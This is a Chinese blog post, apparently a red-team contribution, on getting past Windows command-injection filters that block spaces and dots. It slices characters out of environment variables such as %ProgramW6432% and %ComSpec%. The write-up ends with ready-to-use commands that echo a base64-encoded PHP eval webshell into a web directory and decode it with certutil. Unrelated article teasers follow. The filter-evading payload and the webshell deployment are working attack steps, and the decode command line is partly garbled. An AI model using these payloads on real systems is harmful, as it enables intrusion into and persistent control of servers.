来自红队大佬的经验之谈---命令执行过滤绕过-Windows篇

感谢来自老流氓大佬的投稿,本次文章介绍的是在windows环境下,过滤的“点”和“空格”等符号,导致在写入webshell时会受限。以下是针对该目标的绕过记录。

首先是命令执行和过滤验证,如下:​
在这里插入图片描述
执行dir命令,我们可以看到当前系统存在script目录
在这里插入图片描述
但是当我们想要看一下script目录下的内容的时候,我们发现空格被过滤导致命令执行失败了
在这里插入图片描述
尝试使用url编码对空格进行转换,依旧是执行失败
在这里插入图片描述
要正常执行命令和后续Getshell,则需要“.”和“ ”,那被过滤的符号从哪里来。救赎之道,就在其中 The way to salvation lies in it。

方法就是,切割字符串。利用Windows系统特性和变量来获取被过滤的符号,如下图所示,执行set命令可以将我们想要的内容写入到环境变量中,例如本次写入“set test= hello world.12345”
在这里插入图片描述
再次执行set命令,发现写入成功
在这里插入图片描述
然后利用字符串截取,截取到我们需要的空格和点
在这里插入图片描述
当然了,这里为了演示,所以自己写了一个test,实际上在目标系统里都有现成的,我们直接利用就行,直接执行set命令,查看目标系统存在的环境变量,然后找到环境变量里的空格和点
在这里插入图片描述
目标系统的环境变量是符合我们预期的
在这里插入图片描述
将截取出的空格和点放到之前的命令执行中即可,空格“ ”过滤被绕过,如图:
在这里插入图片描述
点“.”过滤被绕过,如下:

查看文件执行失败
在这里插入图片描述
查看文件执行成功
在这里插入图片描述
最终Getshell方法

那我们将免杀的webshell进行base64编码,防止受到其它被过滤符影响,然后echo到web目录,在使用certutil将文件decode解码,即可拿下目标系统。

PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g是base64后的webshell,然后对被过滤字符进行编码,即如下。

写入:

echo%ProgramW6432:~10,1%PD9waHAgZXZhbCgkX1BPU1RbJzIwMjQnXSk7Pz4g%ProgramW6432:~10,1%>>%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt

解码:

Certutil -decode script\shell.txt script\shell.phpCertutil%ProgramW6432:~10,1%-decode%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%txt%ProgramW6432:~10,1%script\shell%ComSpec:~23,1%php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/29168.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于JSP的二手车交易网站

开头语: 你好呀,我是计算机学长猫哥!如果你对二手车交易网站感兴趣或有相关开发需求,欢迎随时联系我。我的联系方式可以在文末找到。 开发语言:Java 数据库:MySQL 技术:JSPJava 工具&#…

微服务开发与实战Day10 - Redis面试篇

一、Redis主从集群 1. 搭建主从集群 1.1 主从集群结构 单节点Redis的并发能力是有限的,要进一步提高Redis的并发能力,就需要搭建主从集群,实现读写分离。 如图所示,集群中有一个master节点、两个slave节点(现在叫re…

机械师电脑文件丢失怎么办?6个恢复方法,希望能帮到您

机械师电脑作为高性能的计算机品牌,受到众多用户的青睐。然而,即便是品质卓越的电脑,也难免会遇到文件丢失的困扰。无论是由于误操作、系统故障还是硬盘损坏,文件丢失都可能给用户带来不小的麻烦。当您发现机械师电脑上的文件突然…

海洋经济捧出一个IPO,宁波海上鲜数字化赋能背后的喜与忧

近日,宁波海上鲜信息技术股份有限公司(下称“海上鲜”)向港交所递交上市申请,国泰君安国际、东兴证券(香港)为其联席保荐人。贝多财经获悉,该公司自2022年5月起便开始筹备赴港上市,但…

new和malloc区别:

1、malloc和free是C/C语言的标准库函数,new和delete是C中的运算符。都可以用于申请动态内存和释放内存。 2、对于非内部数据类型的对象而言,光使用malloc函数和free函数是无法满足动态对象的要求。对象在创建的同时要自动执行构造函数,对象在…

怎么把两个音频合成一个?将两个音频合成一个的四种方法

怎么把两个音频合成一个?在当今数字化的时代,音频处理已经成为我们生活中不可或缺的一部分。有时候,我们会希望将两段音频合成为一个,无论是为了制作音乐混音、创作声音效果,还是为了编辑播客节目或视频配音。合成音频…

Java18新特性(极简)

一、引言 自1995年Java语言首次亮相以来,它已经成为企业级应用、移动应用和游戏开发等领域不可或缺的一部分。随着技术的不断进步,Java也在持续演化,每个新版本都带来了诸多新特性和性能优化,旨在提升开发者的编程效率和应用程序的…

Mac环境如何使用Flutter Version Manager (fvm)

Mac环境如何使用Flutter Version Manager (fvm) Flutter Version Manager (fvm) 是一个 Flutter 版本管理工具,它允许开发者在本地安装并管理多个 Flutter 版本。使用 fvm,您可以轻松切换不同版本的 Flutter SDK,进行多项目开发而无需重复安…

怎么把网页上的接口信息导入postman

第一步 打开f12,右键选中需要的接口。选择copy-copy as cURL 第二步 打开postman,选择"Raw Text", 把刚才复制的curl粘贴到空白位置,点击Continue - 最后的效果。导入的接口自带cookie,不用再输入cookie&a…

java如何截取字符串

如果想在一个字符串中截取一段字符,形成新的字符,那么在java中途需要用到substring语句 substring的语法格式是 str.substring(beginindex,endindex) 其中str是字符串 beginindex是起始索引,endindex是结束索引 截取的字符串包含起始索引…

vulnhub靶机hacksudoLPE中Challenge-2

二、Challenge-2 1. ar Abusing 这个是要利用suid注意sudo也可以用,但是还是按照要求来 注意使用的suid自然是home文件夹 2. ash abusing 33. atobm Abusing 环境有问题,做不了 34. base32 Abusing 35. bash Abusing 36. cat Abusing 37. chmod Abusin…

警惕!ELSEVIER旗下1本双1区TOP被On Hold !请大家谨慎投稿

【SciencePub学术】又1本!双1区TOP刊被On Hold !官方现在对期刊质量的管控越来越严格了,被标记为On Hold后的期刊中,大部分的命运也是被WOS数据库剔除!所以请大家谨慎投稿! 《Information Sciences》作为一…

antd vue 输入框基础案例

11 Input 输入框 通过鼠标或键盘输入内容&#xff0c;是最基础的表单域的包装。 何时使用 需要用户输入表单域内容时。 提供组合型输入框&#xff0c;带搜索的输入框&#xff0c;还可以进行大小选择。 案例&#xff1a;基本用法 <script setup> import {ref, watch}…

CPRI协议的理解——CPRI中的扰码

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 CPRI协议的理解——CPRI中的扰码 前言8B10B线路编码下的扰码发送端接收 64B66B线路编码下的扰码带有终止控制字符的控制块格式带有起始控制字符的控制块格式数据块格式 前言 …

vue前端-静态资源下载小坑记录

需求背景:批处理功能增加模板下载。 最简单方式就是el-link组件配置相对路径下载本地静态文件。 但本地文件目录试了相对路径:/项目名称/public/template 和/项目名称/src/ assets &#xff0c;都报错找不到文件&#xff0c;好不容易试了对的路径部署到服务器又报错找不到文件…

物联网复习

概论 历史进程 物联网概念提出&#xff1a;20世纪90年代 2009年中国提出“感知中国” 物联网定义 目前较为公认的物联网的定义是&#xff1a; 通过射频识别&#xff08;RFID&#xff09;装置、红外感应器、 全球定位系统、激光扫描器等信息传感设备&#xff0c;按约…

队列 + 宽搜(BFS)

例题一 解法&#xff1a; 算法思路&#xff1a; 层序遍历即可~ 仅需多加⼀个变量&#xff0c;⽤来记录每⼀层结点的个数就好了。 例题二 解法&#xff08;层序遍历&#xff09;&#xff1a; 算法思路&#xff1a; 在正常的层序遍历过程中&#xff0c;我们是可以把⼀层的结点…

数据库分库分表

分库分表的目的在于减少数据库单库单表的负担&#xff0c;提高查询性能&#xff0c;缩短查询时间。分库分表分别水平切分和垂直切分。垂直切分&#xff1a;分为垂直分库和垂直分表&#xff0c;其中垂直分库是指根据业务的耦合度&#xff0c;将关联度较低的不同表存储于不同的库…

vue代办事件案例实战练习,配有答案解析

代办事件案例 该案例&#xff0c;综合了前面所学的知识&#xff0c;列入点击事件绑定&#xff0c;双向绑定&#xff0c;v-for循环语句&#xff0c;v-model双向绑定&#xff0c;以及input标签的不同type形式。 演示代码如下&#xff1a; <template > <div id"ku…

基于LangChain-Chatchat实现的RAG-本地知识库的问答应用[3]-参数配置详细版

基于LangChain-Chatchat实现的RAG-本地知识库的问答应用[3]-参数配置详细版 在开始参数配置之前,先执行以下脚本 python copy_config_example.py该脚本将会将所有config目录下的配置文件样例复制一份到config目录下,方便开发者进行配置。 接着,开发者可以根据自己的需求,对…